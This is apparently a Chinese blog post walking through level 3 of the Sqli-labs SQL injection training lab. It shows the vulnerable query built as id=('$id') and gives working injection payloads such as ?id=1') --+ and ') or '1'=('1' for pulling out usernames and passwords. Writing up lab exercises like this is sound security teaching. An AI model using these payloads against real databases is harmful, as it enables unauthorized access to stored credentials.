Sqli-labs less 3

Less-3

我们使用?id='

注入代码后,我们得到像这样的一个错误:

MySQL server version for the right syntax to use near "") LIMIT 0,1′ at line 1

这里它意味着,开发者使用的查询是:

Select login_name, select password from table where id= ('our input here')

所以我们再用这样的代码来进行注入:

?id=1′) –-+

这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。

在源代码中的SQL查询语句,31行:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

可以成功注入的有:

') or '1'=('1'

) or 1=1 --+

其余的payload与less1中一直,只需要将less1中的 ' 添加) 即')

posted @ 2016-08-11 23:05  lcamry  阅读(1547)  评论(1编辑  收藏  举报